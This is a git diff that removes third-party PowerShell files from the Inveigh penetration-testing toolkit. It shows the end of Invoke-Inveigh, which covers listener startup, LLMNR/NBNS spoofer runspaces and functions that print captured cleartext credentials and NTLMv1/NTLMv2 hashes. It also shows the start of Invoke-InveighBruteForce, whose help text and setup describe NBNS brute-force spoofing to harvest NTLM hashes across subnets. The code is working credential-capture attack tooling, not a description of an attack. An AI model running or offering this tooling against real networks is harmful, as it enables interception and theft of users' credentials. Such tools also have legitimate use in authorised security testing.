if($RunTime) - { - - if($sniffer_stopwatch.Elapsed -ge $sniffer_timeout) - { - - if($inveigh.HTTP_listener.IsListening) - { - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() - } - - if($inveigh.relay_running) - { - $inveigh.console_queue.Add("Inveigh Relay exited due to run time at $(Get-Date -format 's')") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Relay exited due to run time")]) - Start-Sleep -m 5 - $inveigh.relay_running = $false - } - - $inveigh.console_queue.Add("Inveigh exited due to run time at $(Get-Date -format 's')") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh exited due to run time")]) - Start-Sleep -m 5 - $inveigh.running = $false - - if($inveigh.HTTPS) - { - & "netsh" http delete sslcert ipport=0.0.0.0:443 > $null - - try - { - $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") - $certificate_store.Open('ReadWrite') - $certificate = $certificate_store.certificates.Find("FindByThumbprint",$inveigh.certificate_thumbprint,$false)[0] - $certificate_store.Remove($certificate) - $certificate_store.Close() - } - catch - { - - if($inveigh.status_output) - { - $inveigh.console_queue.Add("SSL Certificate Deletion Error - Remove Manually") - } - - $inveigh.log.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually" | Out-File $Inveigh.log_out_file -Append - } - - } - - } - - $inveigh.HTTP = $false - $inveigh.HTTPS = $false - } - } - - if($inveigh.file_output) - { - while($inveigh.log_file_queue.Count -gt 0) - { - $inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append - $inveigh.log_file_queue.RemoveRange(0,1) - } - - while($inveigh.NTLMv1_file_queue.Count -gt 0) - { - $inveigh.NTLMv1_file_queue[0]|Out-File $inveigh.NTLMv1_out_file -Append - $inveigh.NTLMv1_file_queue.RemoveRange(0,1) - } - - while($inveigh.NTLMv2_file_queue.Count -gt 0) - { - $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append - $inveigh.NTLMv2_file_queue.RemoveRange(0,1) - } - - while($inveigh.cleartext_file_queue.Count -gt 0) - { - $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append - $inveigh.cleartext_file_queue.RemoveRange(0,1) - } - - } - - } - - $binary_reader.Close() - $memory_stream.Dispose() - $memory_stream.Close() -} - -# End ScriptBlocks -# Begin Startup Functions - -# HTTP/HTTPS Listener Startup Function -function HTTPListener() -{ - $inveigh.HTTP_listener = New-Object System.Net.HttpListener - - if($inveigh.HTTP) - { - $inveigh.HTTP_listener.Prefixes.Add('http://*:80/') - } - - if($inveigh.HTTPS) - { - $inveigh.HTTP_listener.Prefixes.Add('https://*:443/') - } - - $inveigh.HTTP_listener.AuthenticationSchemes = "Anonymous" - $inveigh.HTTP_listener.Start() - $HTTP_runspace = [RunspaceFactory]::CreateRunspace() - $HTTP_runspace.Open() - $HTTP_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $HTTP_powershell = [PowerShell]::Create() - $HTTP_powershell.Runspace = $HTTP_runspace - $HTTP_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $HTTP_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null - $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($HTTPAuth).AddArgument( - $HTTPBasicRealm).AddArgument($WPADAuth) > $null - $HTTP_powershell.BeginInvoke() > $null -} - -# Sniffer/Spoofer Startup Function -function SnifferSpoofer() -{ - $sniffer_runspace = [RunspaceFactory]::CreateRunspace() - $sniffer_runspace.Open() - $sniffer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $sniffer_powershell = [PowerShell]::Create() - $sniffer_powershell.Runspace = $sniffer_runspace - $sniffer_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $sniffer_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null - $sniffer_powershell.AddScript($sniffer_scriptblock).AddArgument($LLMNR_response_message).AddArgument( - $NBNS_response_message).AddArgument($IP).AddArgument($SpooferIP).AddArgument($SMB).AddArgument( - $LLMNR).AddArgument($NBNS).AddArgument($NBNSTypes).AddArgument($SpooferHostsReply).AddArgument( - $SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument($SpooferIPsIgnore).AddArgument( - $RunTime).AddArgument($LLMNRTTL).AddArgument($NBNSTTL) > $null - $sniffer_powershell.BeginInvoke() > $null -} - -# End Startup Functions - -# Startup Enabled Services - -# HTTP Server Start -if(($inveigh.HTTP -or $inveigh.HTTPS) -and $SMBRelay -eq 'N') -{ - HTTPListener -} - -# Sniffer/Spoofer Start - always enabled -SnifferSpoofer - -if($inveigh.console_output) -{ - - if($ConsoleStatus) - { - $console_status_timeout = new-timespan -Minutes $ConsoleStatus - $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - } - - :console_loop while(($inveigh.running -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) - { - - while($inveigh.console_queue.Count -gt 0) - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.console_queue[0] + $inveigh.newline) - $inveigh.console_queue.RemoveRange(0,1) - } - else - { - - switch -wildcard ($inveigh.console_queue[0]) - { - - "Inveigh *exited *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - "* written to *" - { - - if($inveigh.file_output) - { - Write-Warning $inveigh.console_queue[0] - } - - $inveigh.console_queue.RemoveRange(0,1) - } - - "* for relay *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - "*SMB relay *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - "* local administrator *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - default - { - Write-Output $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - } - - } - - } - - if($ConsoleStatus -and $console_status_stopwatch.Elapsed -ge $console_status_timeout) - { - - if($inveigh.cleartext_list.Count -gt 0) - { - Write-Output("$(Get-Date -format 's') - Current unique cleartext captures:" + $inveigh.newline) - $inveigh.cleartext_list.Sort() - - foreach($unique_cleartext in $inveigh.cleartext_list) - { - if($unique_cleartext -ne $unique_cleartext_last) - { - Write-Output($unique_cleartext + $inveigh.newline) - } - - $unique_cleartext_last = $unique_cleartext - } - - Start-Sleep -m 5 - } - else - { - Write-Output("$(Get-Date -format 's') - No cleartext credentials have been captured" + $inveigh.newline) - } - - if($inveigh.NTLMv1_list.Count -gt 0) - { - Write-Output("$(Get-Date -format 's') - Current unique NTLMv1 challenge/response captures:" + $inveigh.newline) - $inveigh.NTLMv1_list.Sort() - - foreach($unique_NTLMv1 in $inveigh.NTLMv1_list) - { - $unique_NTLMv1_account = $unique_NTLMv1.SubString(0,$unique_NTLMv1.IndexOf(":",($unique_NTLMv1.IndexOf(":") + 2))) - - if($unique_NTLMv1_account -ne $unique_NTLMv1_account_last) - { - Write-Output($unique_NTLMv1 + $inveigh.newline) - } - - $unique_NTLMv1_account_last = $unique_NTLMv1_account - } - - $unique_NTLMv1_account_last = '' - Start-Sleep -m 5 - Write-Output("$(Get-Date -format 's') - Current NTLMv1 IP addresses and usernames:" + $inveigh.newline) - - foreach($NTLMv1_username in $inveigh.NTLMv1_username_list) - { - Write-Output($NTLMv1_username + $inveigh.newline) - } - - Start-Sleep -m 5 - } - else - { - Write-Output("$(Get-Date -format 's') - No NTLMv1 challenge/response hashes have been captured" + $inveigh.newline) - } - - if($inveigh.NTLMv2_list.Count -gt 0) - { - Write-Output("$(Get-Date -format 's') - Current unique NTLMv2 challenge/response captures:" + $inveigh.newline) - $inveigh.NTLMv2_list.Sort() - - foreach($unique_NTLMv2 in $inveigh.NTLMv2_list) - { - $unique_NTLMv2_account = $unique_NTLMv2.SubString(0,$unique_NTLMv2.IndexOf(":",($unique_NTLMv2.IndexOf(":") + 2))) - - if($unique_NTLMv2_account -ne $unique_NTLMv2_account_last) - { - Write-Output($unique_NTLMv2 + $inveigh.newline) - } - - $unique_NTLMv2_account_last = $unique_NTLMv2_account - } - - $unique_NTLMv2_account_last = '' - Start-Sleep -m 5 - Write-Output("$(Get-Date -format 's') - Current NTLMv2 IP addresses and usernames:" + $inveigh.newline) - - foreach($NTLMv2_username in $inveigh.NTLMv2_username_list) - { - Write-Output($NTLMv2_username + $inveigh.newline) - } - - } - else - { - Write-Output("$(Get-Date -format 's') - No NTLMv2 challenge/response hashes have been captured" + $inveigh.newline) - } - - $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - - } - - if($inveigh.console_input) - { - - if([Console]::KeyAvailable) - { - $inveigh.console_output = $false - BREAK console_loop - } - - } - - Start-Sleep -m 5 - } - -} - -} -#End Invoke-Inveigh - -function Stop-Inveigh -{ - <# - .SYNOPSIS - Stop-Inveigh will stop all running Inveigh functions. - #> - - if($inveigh) - { - if($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running) - { - - if($inveigh.HTTP_listener.IsListening) - { - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() - } - - if($inveigh.bruteforce_running) - { - $inveigh.bruteforce_running = $false - Write-Output("$(Get-Date -format 's') - Attempting to stop HTTP listener") - $inveigh.HTTP_listener.server.blocking = $false - Start-Sleep -s 1 - $inveigh.HTTP_listener.server.Close() - Start-Sleep -s 1 - $inveigh.HTTP_listener.Stop() - Write-Output("Inveigh Brute Force exited at $(Get-Date -format 's')") - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Brute Force exited") > $null - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - Inveigh Brute Force exited" | Out-File $Inveigh.log_out_file -Append - } - - } - - if($inveigh.relay_running) - { - $inveigh.relay_running = $false - Write-Output("Inveigh Relay exited at $(Get-Date -format 's')") - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Relay exited") > $null - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - Inveigh Relay exited" | Out-File $Inveigh.log_out_file -Append - } - - } - - if($inveigh.running) - { - $inveigh.running = $false - Write-Output("Inveigh exited at $(Get-Date -format 's')") - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh exited") > $null - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - Inveigh exited" | Out-File $Inveigh.log_out_file -Append - } - - } - - } - else - { - Write-Output("There are no running Inveigh functions") - } - - if($inveigh.HTTPS) - { - & "netsh" http delete sslcert ipport=0.0.0.0:443 > $null - - try - { - $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") - $certificate_store.Open('ReadWrite') - $certificate = $certificate_store.certificates.Find("FindByThumbprint",$inveigh.certificate_thumbprint,$FALSE)[0] - $certificate_store.Remove($certificate) - $certificate_store.Close() - } - catch - { - Write-Output("SSL Certificate Deletion Error - Remove Manually") - $inveigh.log.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") > $null - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually" | Out-File $Inveigh.log_out_file -Append - } - - } - } - - $inveigh.HTTP = $false - $inveigh.HTTPS = $false - } - else - { - Write-Output("There are no running Inveigh functions")|Out-Null - } - -} - -function Get-Inveigh -{ - <# - .SYNOPSIS - Get-Inveigh will display queued Inveigh console output. - #> - - while($inveigh.console_queue.Count -gt 0) - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.console_queue[0] + $inveigh.newline) - $inveigh.console_queue.RemoveRange(0,1) - } - else - { - - switch -wildcard ($inveigh.console_queue[0]) - { - - "Inveigh *exited *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - "* written to *" - { - - if($inveigh.file_output) - { - Write-Warning $inveigh.console_queue[0] - } - - $inveigh.console_queue.RemoveRange(0,1) - } - - "* for relay *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - "*SMB relay *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - "* local administrator *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - default - { - Write-Output $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - } - - } - - } - -} - -function Get-InveighCleartext -{ - <# - .SYNOPSIS - Get-InveighCleartext will get all captured cleartext credentials. - - .PARAMETER Unique - Display only unique cleartext credentials. - #> - - param - ( - [parameter(Mandatory=$false)][Switch]$Unique, - [parameter(ValueFromRemainingArguments=$true)] $invalid_parameter - ) - - if($Unique) - { - Write-Output $inveigh.cleartext_list | Get-Unique - } - else - { - Write-Output $inveigh.cleartext_list - } - -} - -function Get-InveighNTLMv1 -{ - <# - .SYNOPSIS - Get-InveighNTLMv1 will get captured NTLMv1 challenge/response hashes. - - .PARAMETER Unique - Display only the first captured challenge/response for each unique account. - - .PARAMETER Usernames - Display IP addresses and usernames for captured NTLMv2 challenge response hashes. - #> - - param - ( - [parameter(Mandatory=$false)][Switch]$Unique, - [parameter(Mandatory=$false)][Switch]$Usernames, - [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter - ) - - if ($invalid_parameter) - { - throw "$($invalid_parameter) is not a valid parameter." - } - - if($Unique -and $Usernames) - { - throw "Cannot use -Unique with -Usernames." - } - - if($Unique) - { - $inveigh.NTLMv1_list.Sort() - - foreach($unique_NTLMv1 in $inveigh.NTLMv1_list) - { - $unique_NTLMv1_account = $unique_NTLMv1.SubString(0,$unique_NTLMv1.IndexOf(":",($unique_NTLMv1.IndexOf(":") + 2))) - - if($unique_NTLMv1_account -ne $unique_NTLMv1_account_last) - { - Write-Output $unique_NTLMv1 - } - - $unique_NTLMv1_account_last = $unique_NTLMv1_account - } - } - elseif($Usernames) - { - Write-Output $inveigh.NTLMv1_username_list - } - else - { - Write-Output $inveigh.NTLMv1_list - } - -} - -function Get-InveighNTLMv2 -{ - <# - .SYNOPSIS - Get-InveighNTLMv2 will get captured NTLMv2 challenge/response hashes. - - .PARAMETER Unique - Display only the first captured challenge/response for each unique account. - - .PARAMETER Usernames - Display IP addresses and usernames for captured NTLMv2 challenge response hashes. - #> - - param - ( - [parameter(Mandatory=$false)][Switch]$Unique, - [parameter(Mandatory=$false)][Switch]$Usernames, - [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter - ) - - if($invalid_parameter) - { - throw "$($invalid_parameter) is not a valid parameter." - } - - if($Unique -and $Usernames) - { - throw "Cannot use -Unique with -Usernames." - } - - if($Unique) - { - $inveigh.NTLMv2_list.Sort() - - foreach($unique_NTLMv2 in $inveigh.NTLMv2_list) - { - $unique_NTLMv2_account = $unique_NTLMv2.SubString(0,$unique_NTLMv2.IndexOf(":",($unique_NTLMv2.IndexOf(":") + 2))) - - if($unique_NTLMv2_account -ne $unique_NTLMv2_account_last) - { - Write-Output $unique_NTLMv2 - } - - $unique_NTLMv2_account_last = $unique_NTLMv2_account - } - } - elseif($Usernames) - { - Write-Output $inveigh.NTLMv2_username_list - } - else - { - Write-Output $inveigh.NTLMv2_list - } - -} - -function Get-InveighLog -{ - <# - .SYNOPSIS - Get-InveighLog will get log entries. - #> - - Write-Output $inveigh.log -} - -function Watch-Inveigh -{ - <# - .SYNOPSIS - Watch-Inveigh will enabled real time console output. If using this function through a shell, test to ensure that it doesn't hang the shell. - #> - - if($inveigh.tool -ne 1) - { - - if($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running) - { - Write-Output "Press any key to stop real time console output" - $inveigh.console_output = $true - - :console_loop while((($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running) -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) - { - - while($inveigh.console_queue.Count -gt 0) - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.console_queue[0] + $inveigh.newline) - $inveigh.console_queue.RemoveRange(0,1) - } - else - { - - switch -wildcard ($inveigh.console_queue[0]) - { - - "Inveigh *exited *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - "* written to *" - { - - if($inveigh.file_output) - { - Write-Warning $inveigh.console_queue[0] - } - - $inveigh.console_queue.RemoveRange(0,1) - } - - "* for relay *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - "*SMB relay *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - "* local administrator *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - default - { - Write-Output $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - } - - } - - } - - if([Console]::KeyAvailable) - { - $inveigh.console_output = $false - BREAK console_loop - } - - Start-Sleep -m 5 - } - - } - else - { - Write-Output "Inveigh isn't running" - } - - } - else - { - Write-Output "Watch-Inveigh cannot be used with current external tool selection" - } - -} - -function Clear-Inveigh -{ - <# - .SYNOPSIS - Clear-Inveigh will clear Inveigh data from memory. - #> - - if($inveigh) - { - - if(!$inveigh.running -and !$inveigh.relay_running -and !$inveigh.bruteforce_running) - { - Remove-Variable inveigh -scope global - Write-Output "Inveigh data has been cleared from memory" - } - else - { - Write-Output "Run Stop-Inveigh before running Clear-Inveigh" - } - - } - -} diff --git a/scripts/3rdparty/Invoke-InveighBruteForce.ps1 b/scripts/3rdparty/Invoke-InveighBruteForce.ps1 deleted file mode 100644 index f85a094..0000000 --- a/scripts/3rdparty/Invoke-InveighBruteForce.ps1 +++ /dev/null @@ -1,1736 +0,0 @@ -function Invoke-InveighBruteForce -{ -<# -.SYNOPSIS -Invoke-InveighBruteForce is a remote (Hot Potato method)/unprivileged NBNS brute force spoofer. - -.DESCRIPTION -Invoke-InveighBruteForce is a remote (Hot Potato method)/unprivileged NBNS brute force spoofer with the following -features: - - Targeted IPv4 NBNS brute force spoofer with granular control - NTLMv1/NTLMv2 challenge/response capture over HTTP - Granular control of console and file output - Run time control - -This function can be used to perform NBNS spoofing across subnets and/or perform NBNS spoofing without an elevated -administrator or SYSTEM shell. - -.PARAMETER SpooferIP -Specify an IP address for NBNS spoofing. This parameter is only necessary when redirecting victims to a system -other than the Inveigh Brute Force host. - -.PARAMETER SpooferTarget -Specify an IP address to target for brute force NBNS spoofing. - -.PARAMETER Hostname -Default = WPAD: Specify a hostname for NBNS spoofing. - -.PARAMETER NBNS -Default = Disabled: (Y/N) Enable/Disable NBNS spoofing. - -.PARAMETER NBNSPause -Default = Disabled: (Integer) Specify the number of seconds the NBNS brute force spoofer will stop spoofing after -an incoming HTTP request is received. - -.PARAMETER NBNSTTL -Default = 165 Seconds: Specify a custom NBNS TTL in seconds for the response packet. - -.PARAMETER HTTP -Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. - -.PARAMETER HTTPIP -Default = Any: Specify a TCP IP address for the HTTP listener. - -.PARAMETER HTTPPort -Default = 80: Specify a TCP port for the HTTP listener. - -.PARAMETER HTTPAuth -Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type. This setting does not -apply to wpad.dat requests. - -.PARAMETER HTTPBasicRealm -Specify a realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth. - -.PARAMETER HTTPResponse -Specify a string or HTML to serve as the default HTTP/HTTPS response. This response will not be used for wpad.dat -requests. Use PowerShell character escapes where necessary. - -.PARAMETER WPADAuth -Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type for wpad.dat requests. -Setting to Anonymous can prevent browser login prompts. - -.PARAMETER WPADIP -Specify a proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter -must be used with WPADPort. - -.PARAMETER WPADPort -Specify a proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter -must be used with WPADIP. - -.PARAMETER WPADDirectHosts -Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the -defined proxy. Use PowerShell character escapes where necessary. - -.PARAMETER WPADResponse -Specify wpad.dat file contents to serve as the wpad.dat response. This parameter will not be used if WPADIP and -WPADPort are set. - -.PARAMETER Challenge -Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a -random challenge will be generated for each request. This will only be used for non-relay captures. - -.PARAMETER MachineAccounts -Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. - -.PARAMETER ConsoleOutput -Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to -ensure that it doesn't hang the shell. - -.PARAMETER FileOutput -Default = Disabled: (Y/N) Enable/Disable real time file output. - -.PARAMETER StatusOutput -Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. - -.PARAMETER OutputStreamOnly -Default = Disabled: (Y/N) Enable/Disable forcing all output to the standard output stream. This can be helpful if -running Inveigh Brute Force through a shell that does not return other output streams. Note that you will not see -the various yellow warning messages if enabled. - -.PARAMETER OutputDir -Default = Working Directory: Set a valid path to an output directory for log and capture files. FileOutput must -also be enabled. - -.PARAMETER RunTime -Default = Unlimited: (Integer) Set the run time duration in minutes. - -.PARAMETER RunCount -Default = Unlimited: (Integer) Set the number of captures to perform before auto-exiting. - -.PARAMETER ShowHelp -Default = Enabled: (Y/N) Enable/Disable the help messages at startup. - -.PARAMETER Tool -Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's -Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire - -.EXAMPLE -Import-Module .\Inveigh.psd1;Invoke-InveighBruteForce -SpooferTarget 192.168.1.11 -Import full module and target 192.168.1.11 for 'WPAD' hostname spoofs. - -.EXAMPLE -Invoke-InveighBruteForce -SpooferTarget 192.168.1.11 -Hostname server1 -Target 192.168.1.11 for 'server1' hostname spoofs. - -.EXAMPLE -Invoke-InveighBruteForce -SpooferTarget 192.168.1.11 -WPADIP 192.168.10.10 -WPADPort 8080 -Target 192.168.1.11 for 'WPAD' hostname spoofs and respond to wpad.dat requests with a proxy of 192.168.10.10:8080. - -.LINK -https://github.com/Kevin-Robertson/Inveigh -#> - -# Parameter default values can be modified in this section: -[CmdletBinding()] -param -( - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTP="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$NBNS="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleOutput="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileOutput="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StatusOutput="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$OutputStreamOnly="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$MachineAccounts="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ShowHelp="Y", - [parameter(Mandatory=$false)][ValidateSet("0","1","2")][String]$Tool="0", - [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][String]$HTTPAuth="NTLM", - [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][String]$WPADAuth="NTLM", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$HTTPIP="", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SpooferIP="", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SpooferTarget="", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$WPADIP = "", - [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$OutputDir="", - [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][String]$Challenge="", - [parameter(Mandatory=$false)][Array]$WPADDirectHosts="", - [parameter(Mandatory=$false)][Int]$HTTPPort="80", - [parameter(Mandatory=$false)][Int]$NBNSPause="", - [parameter(Mandatory=$false)][Int]$NBNSTTL="165", - [parameter(Mandatory=$false)][Int]$WPADPort="", - [parameter(Mandatory=$false)][Int]$RunCount="", - [parameter(Mandatory=$false)][Int]$RunTime="", - [parameter(Mandatory=$false)][String]$HTTPBasicRealm="IIS", - [parameter(Mandatory=$false)][String]$HTTPResponse="", - [parameter(Mandatory=$false)][String]$WPADResponse="", - [parameter(Mandatory=$false)][String]$Hostname = "WPAD", - [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter -) - -if ($invalid_parameter) -{ - throw "$($invalid_parameter) is not a valid parameter." -} - -if(!$SpooferIP) -{ - $SpooferIP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) -} - -if($NBNS -eq 'Y' -and !$SpooferTarget) -{ - throw "You must specify a -SpooferTarget if enabling -NBNS" -} - -if($WPADIP -or $WPADPort) -{ - - if(!$WPADIP) - { - throw "You must specify a -WPADPort to go with -WPADIP" - } - - if(!$WPADPort) - { - throw "You must specify a -WPADIP to go with -WPADPort" - } - -} - -if(!$OutputDir) -{ - $output_directory = $PWD.Path -} -else -{ - $output_directory = $OutputDir -} - -if(!$inveigh) -{ - $global:inveigh = [HashTable]::Synchronized(@{}) - $inveigh.log = New-Object System.Collections.ArrayList - $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList - $inveigh.NTLMv1_username_list = New-Object System.Collections.ArrayList - $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList - $inveigh.NTLMv2_username_list = New-Object System.Collections.ArrayList - $inveigh.cleartext_list = New-Object System.Collections.ArrayList - $inveigh.IP_capture_list = New-Object System.Collections.ArrayList - $inveigh.SMBRelay_failed_list = New-Object System.Collections.ArrayList -} - -if($inveigh.bruteforce_running) -{ - throw "Invoke-InveighBruteForce is already running, use Stop-Inveigh" -} - -$inveigh.console_queue = New-Object System.Collections.ArrayList -$inveigh.status_queue = New-Object System.Collections.ArrayList -$inveigh.log_file_queue = New-Object System.Collections.ArrayList -$inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList -$inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList -$inveigh.cleartext_file_queue = New-Object System.Collections.ArrayList -$inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList -$inveigh.console_output = $false -$inveigh.console_input = $true -$inveigh.file_output = $false -$inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt" -$inveigh.NTLMv1_out_file = $output_directory + "\Inveigh-NTLMv1.txt" -$inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt" -$inveigh.cleartext_out_file = $output_directory + "\Inveigh-Cleartext.txt" -$inveigh.challenge = $Challenge -$inveigh.hostname_spoof = $false -$inveigh.bruteforce_running = $true - -if($StatusOutput -eq 'Y') -{ - $inveigh.status_output = $true -} -else -{ - $inveigh.status_output = $false -} - -if($OutputStreamOnly -eq 'Y') -{ - $inveigh.output_stream_only = $true -} -else -{ - $inveigh.output_stream_only = $false -} - -if($Tool -eq 1) # Metasploit Interactive PowerShell -{ - $inveigh.tool = 1 - $inveigh.output_stream_only = $true - $inveigh.newline = "" - $ConsoleOutput = "N" -} -elseif($Tool -eq 2) # PowerShell Empire -{ - $inveigh.tool = 2 - $inveigh.output_stream_only = $true - $inveigh.console_input = $false - $inveigh.newline = "`n" - $ConsoleOutput = "Y" - $ShowHelp = "N" -} -else -{ - $inveigh.tool = 0 - $inveigh.newline = "" -} - -# Write startup messages -$inveigh.status_queue.Add("Inveigh Brute Force started at $(Get-Date -format 's')") > $null -$inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Brute Force started")]) > $null - -if($NBNS -eq 'Y') -{ - $inveigh.status_queue.Add("NBNS Brute Force Spoofer Target = $SpooferTarget") > $null - $inveigh.status_queue.Add("NBNS Brute Force Spoofer IP Address = $SpooferIP") > $null - $inveigh.status_queue.Add("NBNS Brute Force Spoofer Hostname = $Hostname") > $null - - if($NBNSPause) - { - $inveigh.status_queue.Add("NBNS Brute Force Pause = $NBNSPause Seconds") > $null - } - - $inveigh.status_queue.Add("NBNS TTL = $NBNSTTL Seconds") > $null -} -else -{ - $inveigh.status_queue.Add("NBNS Brute Force Spoofer Disabled") > $null -} - -if($HTTP -eq 'Y') -{ - - if($HTTPIP) - { - $inveigh.status_queue.Add("HTTP IP Address = $HTTPIP") > $null - } - - if($HTTPPort -ne 80) - { - $inveigh.status_queue.Add("HTTP Port = $HTTPPort") > $null - } - - $inveigh.status_queue.Add("HTTP Capture Enabled") > $null - $inveigh.status_queue.Add("HTTP Authentication = $HTTPAuth") > $null - $inveigh.status_queue.Add("WPAD Authentication = $WPADAuth") > $null - - if($HTTPResponse) - { - $inveigh.status_queue.Add("HTTP Custom Response Enabled") > $null - } - - if($HTTPAuth -eq 'Basic' -or $WPADAuth -eq 'Basic') - { - $inveigh.status_queue.Add("Basic Authentication Realm = $HTTPBasicRealm") > $null - } - - if($WPADIP -and $WPADPort) - { - $inveigh.status_queue.Add("WPAD = $WPADIP`:$WPADPort") > $null - - if($WPADDirectHosts) - { - $inveigh.status_queue.Add("WPAD Direct Hosts = " + $WPADDirectHosts -join ",") > $null - } - - } - elseif($WPADResponse -and !$WPADIP -and !$WPADPort) - { - $inveigh.status_queue.Add("WPAD Custom Response Enabled") > $null - } - - if($Challenge) - { - $inveigh.status_queue.Add("NTLM Challenge = $Challenge") > $null - } - - if($MachineAccounts -eq 'n') - { - $inveigh.status_queue.Add("Ignoring Machine Accounts") > $null - 